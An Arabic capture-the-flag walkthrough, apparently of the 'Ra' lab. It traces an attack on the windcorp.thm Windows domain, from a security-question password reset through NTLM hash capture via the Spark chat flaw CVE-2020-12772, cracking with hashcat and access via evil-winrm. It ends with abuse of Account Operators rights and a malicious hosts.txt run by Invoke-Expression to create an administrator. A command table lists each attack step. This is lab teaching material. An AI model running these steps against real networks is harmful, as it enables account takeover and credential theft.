Ra دومين WindCorp كامل بـ 35 بورت مفتوح. القصة تبدأ من نظام استرجاع كلمة سر بسؤال أمان (“حيوانك الأليف المفضل”) — وصورة موظف منشورة فيها اسم المستخدم واسم الحيوان بيكسر الحماية دي بالكامل. من هنا بتدخل شبكة SMB، وتستغل ثغرة قديمة في عميل Spark IM (CVE-2020-12772) لسرقة NTLM hash.
من Password Reset Abuse لحد Domain Admin عبر Account Operators Exploitation
SYN scan كامل يكشف 35 بورت مفتوح (DNS، HTTP، Kerberos، LDAP، SMB، WinRM، RDP، Openfire). فحص -sV -sC يكشف اسم الدومين windcorp.thm عبر NTLM info في RDP.
nmap -p- -sSRDP NTLM info leakصفحة Password Reset محتاجة اسم مستخدم وجواب سؤال أمان. صورة موظف منشورة فيها اسم الملف بيكشف اسم المستخدم واسم الحيوان الأليف — بيكفي لاسترجاع حساب lilyle.
Predictable security questionlilyle account resetبحساب lilyle، smbclient يكشف شيرز ADMIN$، C$، Shared، Users. شير Shared فيه Flag 1 وملفات تثبيت Spark 2.8.3. شير Users فيه قائمة كل مستخدمي الدومين.
smbclient -L //fire.windcorp.thmFlag 1 ✓Spark 2.8.3 معرّض لحقن <img> في الدردشة — رابط صورة بعيد بيخلي عميل الضحية يبعت طلب مصادقة NTLM. Responder بيصيد الـ hash لما buse يستقبل الرسالة.
CVE-2020-12772 (img injection)Responder -I tun0 -rdwvHashcat يكسر الـ NTLMv2 hash المسروق بـ rockyou.txt. evil-winrm يدخل بحساب buse ويحصل على Flag 2.
hashcat -m 5600evil-winrm as buse → Flag 2 ✓whoami /groups يكشف إن buse عضو في BUILTIN\Account Operators — صلاحية بتسمح بإدارة حسابات غير مميزة، بما فيها إعادة تعيين كلمات السر.
whoami /groupsAccount Operators membershipسكريبت checkservers.ps1 بيقرأ hosts.txt من مجلد brittanycr وينفذه بـ Invoke-Expression. بعد إعادة تعيين كلمة سر brittanycr، رفع hosts.txt مخصص بيخلق مستخدم جديد ويضيفه لمجموعة Administrators.
Invoke-Expression on writable fileNew admin user createdDomain Admin 🏆| الأمر | الوصف | المرحلة |
|---|---|---|
| nmap -p- -sS -Pn windcorp.thm | فحص كامل لكل البورتات (35 بورت مفتوح) | Recon |
| smbclient -L //fire.windcorp.thm -U lilyle | تعداد شيرز SMB بحساب lilyle | SMB |
| responder -I tun0 -rdwv | صيد NTLMv2 hash من طلب صورة Spark | Capture |
| hashcat -m 5600 hash.txt rockyou.txt | كسر الـ NTLMv2 hash بعد الصيد | Crack |
| evil-winrm -i fire.windcorp.thm -u buse -p ‘***’ | دخول WinRM بحساب buse | Access |
| whoami /groups | كشف عضوية BUILTIN\Account Operators | Enum |
| net user brittanycr NewPass123! /domain | إعادة تعيين كلمة سر brittanycr (صلاحية Account Operators) | Abuse |
| smbclient //fire.windcorp.thm/Users -U brittanycr | رفع hosts.txt مخصص لتنفيذ أمر خبيث | Privesc |
اكتشاف الدومين windcorp.thm و35 بورت مفتوح
الحصول على بيانات lilyle + Flag 1 من SMB
حقن صورة في الدردشة وصيد NTLM hash
Hashcat ودخول بحساب buse + Flag 2
إعادة تعيين كلمة سر brittanycr
رفع hosts.txt خبيث وإنشاء مستخدم Admin جديد